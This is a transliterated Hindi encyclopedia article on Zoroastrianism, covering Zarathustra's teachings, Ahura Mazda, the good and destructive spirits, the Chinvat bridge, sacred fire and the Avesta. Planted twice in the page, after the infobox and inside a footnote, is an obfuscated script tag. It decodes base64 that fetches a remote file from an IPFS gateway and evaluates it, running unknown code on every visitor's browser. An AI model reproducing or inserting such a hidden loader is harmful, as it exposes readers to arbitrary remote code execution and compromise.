ज़रथुस्त्रवाद
zarathustravad
| |
| vivaran | 'zarathustravad' parasi dharm ke pravartak 'zarathustr' ki shikshaoan ko kaha jata hai. zarathustr sanbhavat: pahale vyakti the, jinhoanne ekeshvar, jivan or prajna ke svami ahur mazda ki pooja karane ki shiksha di. |
| pravartak | zarathustr |
| vishesh | gathaoan mean zarathustr ne svayan ko 'zaotar', yani "anushthan ka pradhan purohit" aur mantriy prarthanaoan ki rachana tatha unake gayan mean kushal bataya hai. |
| sanbandhit lekh | aangr mainyu, avesta, speanta mainyu, ahur mazda, jeandavesta, zarathushtr |
| any janakari | parasi dharm ke pavitr granthoan ko sanyukt roop se 'avesta' kahate haian. kabhi saseniyaiyoan ke pas upalabdh rahe vyapak sahity ke ab kuchh hisse hi bache haian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
zarathustravad prachin vidvanoan ke anusar 'zarathustr' ya 'zorastar', jaisa ki prachin eeran ke is paiganbar ko yoonani kahate the, ki shikshaoan ko kaha jata hai. parasi dharm ki utpatti prachin faras[1] mean huee thi. prachin farasi log aur bharat ke uttari ary akramanakariyoan ke poorvaj ek hi vansh ke the aur parasi dharm se pahale eeran ke dharm v vaidik dharm mean unake devataoan aur anushthanoan ke adhar par mahattvapoorn samanataean dekhi ja sakati haian. parasi dharm mean jivan aur jnan ke devata ahur mazda zarathustr-poorv eeran ke devaganoan mean se ek the.
mool avadharana
gathaoan mean zarathustr ne svayan ko 'zaotar', yani "anushthan ka pradhan purohit" aur mantriy prarthanaoan ki rachana tatha unake gayan mean kushal bataya hai. unhoanne shakti ke pavitr shabd 'manthrane-dutim' ka sandeshavahak hone ka bhi dava kiya hai. unhoanne svayan ko 'ereshi'[2] bhi kaha hai, jise maloom hai, 'kya hoga ya nahian hoga'. zarathustr ne 'ratoo'[3], arthath jnani margadarshan hone ka bhi dava kiya, jise do viparit gutoan, 'ashavanoan'[4] aur 'dregavantoan'[5] ke bich nirnay karane ke lie ahur mazda ne niyukt kiya hai. manushy ashavanoan aur dregavantoan ke bich vibhajit hai. in donoan taqatoan ke bich yuddh tab samapt hoga, jab kal ki samapti hogi aur 'frashokereti', yani srishti ka navinikaran hoga.[6]
ahur mazda ki pooja
zarathustr sanbhavat: pahale vyakti the, jinhoanne ekeshvar, jivan or prajna ke svami ahur mazda ki pooja vicharoan, karyoan aur shabdoan se karane ki shiksha di. ahur mazda apani daivi hastiyoan, amesha speanta[7] ke madhyam se sansar par shasan karate haian.
zarathustr ke anusar- "ek avinashi jivan 'ahu' hamesha rahata hai, jo shashvat prakar anagr raochaoan mean abhivyakt hota hai. prakash aur jivan ko jo dana 'mazda' yani jnan hai. yah yahoodi, eesaee aur islam dharmoan se alag hai, jo kahate haian ki mool roop se aandhakar vyapt tha aur prakash naya tha." jo bhi achchha hai, speanta mainyu[8], pavitr atma se milata hai aur yah ahur mazda ka ek hissa hai. pratikool ya vinashakari atma 'aangra mainyu'[9] ya arhiman hai, jisaka mool svaroop usaki mukhy visheshata, draj ya asaty se abhivyakt hota hai. zarathustr ne in do atmaoan ki niti katha ka upayog karake buraee ki utpatti ki vyakhya ki. yah ek anushruti thi, jisase prachin farasi log pahale se hi parichit the. ye yugm atmaean, achchhi aur buri, ek-doosare ki virodhi haian. dusht manasikata nikrishtatam kam karati haian, jabaki achchhi atma saty ko chunati haian.
manaviy-chayan pradhan siddhaant
is prakar parasi dharm mean manaviy-chayan pradhan siddhaant haian. phir bhi dharmik vyakti ko buraee ke chayan se bachane ke prayas mean akela nahian chho da jata hai. ahur mazda is vyakti ke pas amesha speanta- 'ash'[10], 'vohu manik'[11], 'kshahatr vairy'[12], 'ermeti'[13], 'haurvatat'[14] aur 'aimeratat'[15] ko bhejata hai, jo pratyek vyakti ko saty chunane aur is par qayam rahane mean madad karate haian. mrityu ke bad pratyek atma ko nyay ke pul, chianvat pul, ko par karana p data hai. achchhi aur premamayi atma ke lie pul chau da ho jata hai, taki git grih garo deman mean jana asan ho jae. dusht ke lie pul sankara hokar ustare ki dhar jaisa ban jata hai aur atma aantim faisale ki pratiksha karate hue rasatal mean gir jati hai. garo deman ki anandadayi sthiti mean pravesh ka visheshadhikar prapt karane ke lie manushy ko apane achchhe man aur saty ka anusaran karana anivary hai. 'drujo deman' ya asaty ka ghar manasik yatana ki sthiti hai, jisamean drisht atma mrityu ke bad rahati hai.[6]
agni ka mahattv
parasi dharm mean agni pramukh bhoomika nibhati hai. pratishthit hone ke bad yah daivi pratik ban jati hai. isalie parasi mandiroan mean ag ko kabhi bujhaya nahian jata, kyoanki agni saty ki gavah hai.
pavitr granth
parasi dharm ke pavitr granthoan ko sanyukt roop se 'avesta' kahate haian. kabhi saseniyaiyoan ke pas upalabdh rahe vyapak sahity ke ab kuchh hisse hi bache haian. in rachanaoan mean 21 'nask' ya sankalan shamil haian, jinamean dharm, aushadhi aur shasan kala pratyek par sat-sat sankalan haian. zarathustr dvara rachit ekamatr rachana gathaoan ya prarthanaoan ki hi janakari upalabdh hai. ye jatil pady ki puratan shaili mean likhe ge haian, jinhean aj samajh pana kathin hai. yoonani itihasakar plini ne 'harmippas' (220 ee. poo.) ke havale se bataya ki zarathustr ne 'pady ki 10 lakh panktiyaan' likhian; inamean se 5 gathaoan mean vibhajit keval 17 prarthanaean vidyaman haian. gathaean 'yasna'[16] ka hissa haian, jo avestaee mean 72 adhyayoan vali pooja paddhati sanbandhi rachana hai.
gathaean
jis bhasha mean gathaean likhi gee haian, vah ajnat haian. kuchh vidvanh ise 'gethik avestan' kahate haian, taki bad mean likhi rachanaoan ki bhashaoan 'manak avestaee', 'pahalavi' aur 'pazeand' se usaka bhed kiya ja sake. parasiyoan ki dainik prarthana ki pustak 'khord' ya 'khordeh avesta' (ladyu avesta) kahalati hai. khorda mean tin 'naiesh' ya prashansa ki prarthanaean haian- soory ke lie, 'mithr'[17] ke lie aur agni ke lie. isake atirikt lanbe bhajan 'yasht' bhi haian, jinamean se kuchh pratidin aur kuchh vishesh avasaroan par gae jate haian. aj bhi prayog mean ane vali do mahattvapoorv rachanaean hai-
- 'veandidad'
- 'visperad'
veandidad mean mithak, shuddhikaran sanhita aur dharmik prathaoan ka varnan hai. yah anushthanoan aur niyamoan ki sanhita hai aur 19vaan 'nast' kahalati hai. visperad ahur mazda aur adhyatmik v bhautik, donoan jagatoan ke guruoan ko samarpit pooja paddhati ka vistar hai.[6]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ vartaman eeran
- ↑ sanskrit mean rrishi
- ↑ sanskrit mean guru
- ↑ saty ke anuyayi
- ↑ asaty ke anuyayi
- ↑ 6.0 6.1 6.2 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 132 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ anashvar prakashamay ya paropakari anashvar
- ↑ udar atma
- ↑ vinashak atma
- ↑ saty, nyay, brahmaandiy niyam aur vyavastha
- ↑ dharmanishth chiantan ya achchha man
- ↑ vaanchhit prabhutv ya sanprabhuta, satta aur rajy
- ↑ premamay bhakti
- ↑ sanpoornata
- ↑ amaratv
- ↑ vaidik shabd yajn
- ↑ nyayi nayayadhish
sanbandhit lekh